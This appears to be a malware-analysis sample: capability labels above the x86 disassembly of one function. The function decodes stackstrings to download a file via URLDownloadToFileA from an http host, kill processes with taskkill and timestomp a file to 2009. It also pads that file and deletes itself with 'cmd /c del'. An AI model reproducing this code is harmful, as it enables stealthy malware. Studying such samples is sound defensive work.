Function at 0x402840
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Create thread
Terminate process
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jb 0x40285d
jae 0x40285d
call 0x3af749
dec dword [ebx + 0x4040c035]
add byte [ebx], dh
leave
call 0x402330
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor ecx, ecx
mov dword [ebp - 0xaf], ecx
mov al, 0x5c
push ecx
push 0x2b
push 0x4072a8
push ecx
mov byte [ebp - 0xb8], al
mov byte [ebp - 0xb7], 0x73
mov byte [ebp - 0xb6], 0x65
mov byte [ebp - 0xb5], 0x73
mov byte [ebp - 0xb4], 0x73
mov byte [ebp - 0xb3], 0x61
mov byte [ebp - 0xb2], 0x76
mov byte [ebp - 0xb1], 0x78
mov byte [ebp - 0xb0], 0
mov word [ebp - 0xab], cx
mov byte [ebp - 0x3c], al
mov byte [ebp - 0x3b], 0x63
mov byte [ebp - 0x3a], 0x6f
mov byte [ebp - 0x39], 0x69
mov byte [ebp - 0x38], 0x6f
mov byte [ebp - 0x37], 0x6d
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x2e
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x78
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], cl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0xb8]
push edx
push 0x4072a8
call edi
push 0
push 0x4072a8
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
push 0x4072a8
call fcn.00403800
add esp, 8
lea eax, [ebp - 0x3c]
push eax
push 0x4072a8
call edi
push 0x104
push 0x4072a8
push 0x4072a8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [ebp - 0x398]
push 0x104
push ecx
push 0
call fcn.004036d0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x293]
mov byte [ebp - 0x294], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea edx, [ebp - 0x294]
stosw word es:[edi], ax
push 0
push 0x26
push edx
push 0
stosb byte es:[edi], al
call esi
push 0x58
push 0x43
call fcn.00403970
add esp, 8
push eax
push 0x59
push 0x42
call fcn.00403970
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.00403970
add esp, 8
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x294]
push eax
push 0x406510
push 0x4075bc
call esi
add esp, 0x18
lea ecx, [ebp - 0x30]
lea edx, [ebp - 0x398]
mov bl, 0x70
push ecx
push edx
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x6d
mov byte [ebp - 0x2e], 0x6d
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x402ccb
push 0x3e8
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
call fcn.00403680
add esp, 4
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov al, 0x71
mov byte [ebp - 0x123], al
mov byte [ebp - 0x122], al
mov cl, 0x6a
mov al, 0x30
mov byte [ebp - 0x125], cl
mov byte [ebp - 0x11e], al
mov byte [ebp - 0x11d], al
mov byte [ebp - 0x115], cl
mov ecx, 0x12
xor eax, eax
lea edi, [ebp - 0x111]
mov byte [ebp - 0x12c], 0x68
mov byte [ebp - 0x12b], 0x74
mov byte [ebp - 0x12a], 0x74
mov byte [ebp - 0x129], bl
mov byte [ebp - 0x128], 0x3a
mov byte [ebp - 0x127], 0x2f
mov byte [ebp - 0x126], 0x2f
mov byte [ebp - 0x124], 0x2e
mov byte [ebp - 0x121], 0x31
mov byte [ebp - 0x120], 0x36
mov byte [ebp - 0x11f], 0x38
mov byte [ebp - 0x11c], 0x2e
mov byte [ebp - 0x11b], 0x63
mov byte [ebp - 0x11a], 0x6f
mov byte [ebp - 0x119], 0x6d
mov byte [ebp - 0x118], 0x2f
mov byte [ebp - 0x117], 0x62
mov byte [ebp - 0x116], 0x2e
mov byte [ebp - 0x114], bl
mov byte [ebp - 0x113], 0x67
mov byte [ebp - 0x112], 0
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x49c]
push 0x104
push ecx
mov byte [ebp - 0x28], 0x55
mov byte [ebp - 0x27], 0x52
mov byte [ebp - 0x26], 0x4c
mov byte [ebp - 0x25], 0x44
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x77
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x64
mov byte [ebp - 0x1d], 0x54
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x46
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0
stosb byte es:[edi], al
call fcn.00402280
add esp, 8
lea edx, [ebp - 0x49c]
push 0x4062d4
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
lea ecx, [ebp - 0x49c]
push 0
lea edx, [ebp - 0x12c]
push ecx
push edx
push 0
mov dword [0x4073ac], eax
call eax
push 0x2710
call fcn.00403680
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x49c]
push eax
call fcn.004038a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 4
cmp eax, 0xffffffff
je 0x402c37
push 0
push 0
push 0
push 0x402000
push 0
push 0
call esi
push 0
push 0
push 0
push section..text
push 0
push 0
call esi
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x402580
push 0
push 0
call esi
push 0
push 0
push 0
push 0x402320
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4016f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4026f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4014c0
push 0
push 0
call esi
push 0x2710
call fcn.00403680
push 0x4075bc
call fcn.004021a0
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
add esp, 8
lea ecx, [ebp - 0x5c]
push 0
push 0
push 0
push ecx
call esi
test eax, eax
jle 0x402cbf
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea edx, [ebp - 0x5c]
push edx
call edi
lea eax, [ebp - 0x5c]
push eax
call ebx
push 0
push 0
lea ecx, [ebp - 0x5c]
push 0
push ecx
call esi
test eax, eax
jg 0x402ca3
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push 0x4075bc
call fcn.00402150
add esp, 4
test al, al
je 0x402cf5
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push 0x4075bc
push edx
push 0
call fcn.00403770
add esp, 0x18
mov bl, 0x20
mov al, 0x6b
mov byte [ebp - 0x60], 0x63
mov byte [ebp - 0x5f], 0x6d
mov byte [ebp - 0x5e], 0x64
mov byte [ebp - 0x5d], bl
mov byte [ebp - 0x5c], 0x2f
mov byte [ebp - 0x5b], 0x63
mov byte [ebp - 0x5a], bl
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x61
mov byte [ebp - 0x57], 0x73
mov byte [ebp - 0x56], al
mov byte [ebp - 0x55], al
mov byte [ebp - 0x54], 0x69
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x50], 0x2f
mov byte [ebp - 0x4f], 0x69
mov byte [ebp - 0x4e], 0x6d
mov byte [ebp - 0x4d], bl
mov byte [ebp - 0x4c], 0x63
mov byte [ebp - 0x4b], 0x66
mov byte [ebp - 0x4a], 0x6d
mov byte [ebp - 0x49], 0x6f
mov byte [ebp - 0x48], 0x6e
mov byte [ebp - 0x47], 0x2e
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x78
mov byte [ebp - 0x44], 0x65
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], 0x2f
mov byte [ebp - 0x41], 0x66
mov byte [ebp - 0x40], 0
mov byte [ebp - 0xa8], 0x63
mov byte [ebp - 0xa7], 0x6d
mov byte [ebp - 0xa6], 0x64
mov byte [ebp - 0xa5], bl
mov byte [ebp - 0xa4], 0x2f
mov byte [ebp - 0xa3], 0x63
mov byte [ebp - 0xa2], bl
mov byte [ebp - 0xa1], 0x74
mov byte [ebp - 0xa0], 0x61
mov byte [ebp - 0x9f], 0x73
mov byte [ebp - 0x9e], al
mov byte [ebp - 0x9d], al
mov byte [ebp - 0x9c], 0x69
mov byte [ebp - 0x9b], 0x6c
mov byte [ebp - 0x9a], 0x6c
mov byte [ebp - 0x99], bl
mov byte [ebp - 0x98], 0x2f
mov byte [ebp - 0x97], 0x69
mov byte [ebp - 0x96], 0x6d
mov byte [ebp - 0x95], bl
mov byte [ebp - 0x94], 0x63
mov byte [ebp - 0x93], 0x6f
mov byte [ebp - 0x92], 0x6e
mov byte [ebp - 0x91], 0x6c
mov byte [ebp - 0x90], 0x6d
mov byte [ebp - 0x8f], 0x65
mov byte [ebp - 0x8e], 0x2e
mov byte [ebp - 0x8d], 0x65
mov byte [ebp - 0x8c], 0x78
mov byte [ebp - 0x8b], 0x65
mov byte [ebp - 0x8a], bl
mov byte [ebp - 0x89], 0x2f
mov byte [ebp - 0x88], 0x66
mov byte [ebp - 0x87], 0
mov byte [ebp - 0x84], 0x63
mov byte [ebp - 0x83], 0x6d
mov byte [ebp - 0x82], 0x64
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x2f
mov byte [ebp - 0x7f], 0x63
mov byte [ebp - 0x7e], bl
mov byte [ebp - 0x7d], 0x74
mov byte [ebp - 0x7c], 0x61
mov byte [ebp - 0x7b], 0x73
mov byte [ebp - 0x7a], al
mov byte [ebp - 0x79], al
lea eax, [ebp - 0x60]
push 0
push eax
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6c
mov byte [ebp - 0x76], 0x6c
mov byte [ebp - 0x75], bl
mov byte [ebp - 0x74], 0x2f
mov byte [ebp - 0x73], 0x69
mov byte [ebp - 0x72], 0x6d
mov byte [ebp - 0x71], bl
mov byte [ebp - 0x70], 0x63
mov byte [ebp - 0x6f], 0x6f
mov byte [ebp - 0x6e], 0x69
mov byte [ebp - 0x6d], 0x6f
mov byte [ebp - 0x6c], 0x6d
mov byte [ebp - 0x6b], 0x65
mov byte [ebp - 0x6a], 0x2e
mov byte [ebp - 0x69], 0x65
mov byte [ebp - 0x68], 0x78
mov byte [ebp - 0x67], 0x65
mov byte [ebp - 0x66], bl
mov byte [ebp - 0x65], 0x2f
mov byte [ebp - 0x64], 0x66
mov byte [ebp - 0x63], 0
call fcn.00403620
lea ecx, [ebp - 0xa8]
push 0
push ecx
call fcn.00403620
push 0x3e8
call fcn.00403680
lea edx, [ebp - 0x84]
push 0
push edx
call fcn.00403620
push 0x3e8
call fcn.00403680
push 0x4072a8
call fcn.004021a0
push 0x7d0
call fcn.00403680
push 0
lea eax, [ebp - 0x398]
push 0x4072a8
push eax
call fcn.00402210
push 0xfa0
call fcn.00403680
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x18f]
mov byte [ebp - 0x190], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x74
push 0x67
stosb byte es:[edi], al
call fcn.00403970
add esp, 0x40
push eax
push 0x75
push 0x66
call fcn.00403970
add esp, 8
push eax
push 0x76
push 0x65
call fcn.00403970
add esp, 8
push eax
push 0x77
push 0x64
call fcn.00403970
add esp, 8
push eax
push 0x78
push 0x63
call fcn.00403970
add esp, 8
push eax
push 0x79
push 0x62
call fcn.00403970
add esp, 8
push eax
push 0x7a
push 0x61
call fcn.00403970
add esp, 8
lea ecx, [ebp - 0x190]
push eax
push 0x406500
push ecx
call esi
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4072a8
call fcn.004033e0
mov esi, eax
add esp, 0x40
cmp esi, 0xffffffff
je 0x4030e4
xor edx, edx
lea eax, [ebp - 8]
mov dword [ebp - 0x28], edx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x24], edx
push eax
mov dword [ebp - 0x20], edx
push ecx
mov dword [ebp - 0x1c], edx
mov word [ebp - 0x28], 0x7d9
mov word [ebp - 0x26], 8
mov word [ebp - 0x22], 0x11
mov word [ebp - 0x20], 0x14
mov word [ebp - 0x1e], dx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea edx, [ebp - 0xc8]
lea eax, [ebp - 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea ecx, [ebp - 0xc8]
lea edx, [ebp - 0xc8]
push ecx
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc0]
push 0
push eax
lea ecx, [ebp - 0x190]
push 0x64
push ecx
push esi
call fcn.00403470
push 0x100000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, 0x40000
mov eax, 0x4e4e4e4e
mov edi, edx
rep stosd dword es:[edi], eax
add esp, 0x18
mov dword [ebp - 0xbc], edx
mov edi, 0xc
jmp 0x4030b7
mov edx, dword [ebp - 0xbc]
lea eax, [ebp - 0xc0]
push 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xbc]
inc eax
push eax
push ecx
push esi
call fcn.00403470
add esp, 0x14
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
dec edi
jne 0x4030b1
push esi
call fcn.004034f0
push 0xfa0
call fcn.00403680
push 0
push 0x4072a8
call fcn.00403620
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0xc]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
mov byte [ebp - 0xc], 0x63
mov byte [ebp - 0xb], 0x6d
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0x2f
mov byte [ebp - 7], 0x63
mov byte [ebp - 6], bl
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x12c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x12c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x12c]
push 0
push edx
call fcn.00403620
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]